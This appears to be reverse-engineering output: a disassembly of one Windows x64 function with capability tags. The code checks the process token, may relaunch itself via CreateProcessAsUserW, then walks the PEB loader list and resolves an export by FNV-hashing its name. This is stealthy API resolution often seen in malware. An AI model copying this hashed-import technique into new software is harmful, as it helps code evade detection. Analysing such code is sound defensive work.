Function at 0x140024960
Capabilities:
Accept command line arguments
Access peb ldr_data
Create process on windows
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x120
mov rax, qword [0x140328040]
xor rax, rsp
mov qword [rsp + 0x110], rax
xor edi, edi
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x60]
lea edx, [rdi + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140024a95
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x90]
lea r9d, [rdi + 4]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x88]
lea edx, [rdi + 0x1a]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1400249d2
lea ebx, [rdi + 1]
jmp 0x1400249d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140024a9b
cmp dword [rsp + 0x88], edi
jne 0x140024a9b
lea rcx, [rsp + 0x68]
call fcn.1400245f0
test eax, eax
jne 0x140024a9b
lea rcx, [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x50], rcx
mov r8, rax
lea rcx, [rsp + 0xa0]
xor edx, edx
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x140024a82
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140024a9b
call qword [sym.imp.KERNEL32.dll_GetLastError]
call fcn.14008fd60
call fcn.140001ff0
cmp byte [0x14040b578], dil
jne 0x140024b01
movabs rdi, 0x7fffffffc46535fe
movabs rbx, 0x7fffffffffffffff
lea rcx, [rsp + 0x90]
call fcn.140001b00
mov rax, qword [rsp + 0x90]
cmp rax, rdi
jg 0x140024ae9
add rax, 0x3b9aca00
mov qword [rsp + 0x60], rax
jmp 0x140024aee
mov qword [rsp + 0x60], rbx
lea rcx, [rsp + 0x60]
call fcn.140004b90
cmp byte [0x14040b578], 0
je 0x140024ac2
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140024b97
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140024b97
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x18c35482
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rdi]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140024b92
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140024b70
cmp r8d, 0x631e6101
je 0x140024b9c
test r9d, r9d
jne 0x140024b50
mov rax, qword [rax]
jmp 0x140024b20
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rcx, qword [rsp + 0x110]
xor rcx, rsp
call fcn.1400f9830
mov rbx, qword [rsp + 0x130]
add rsp, 0x120
pop rdi
ret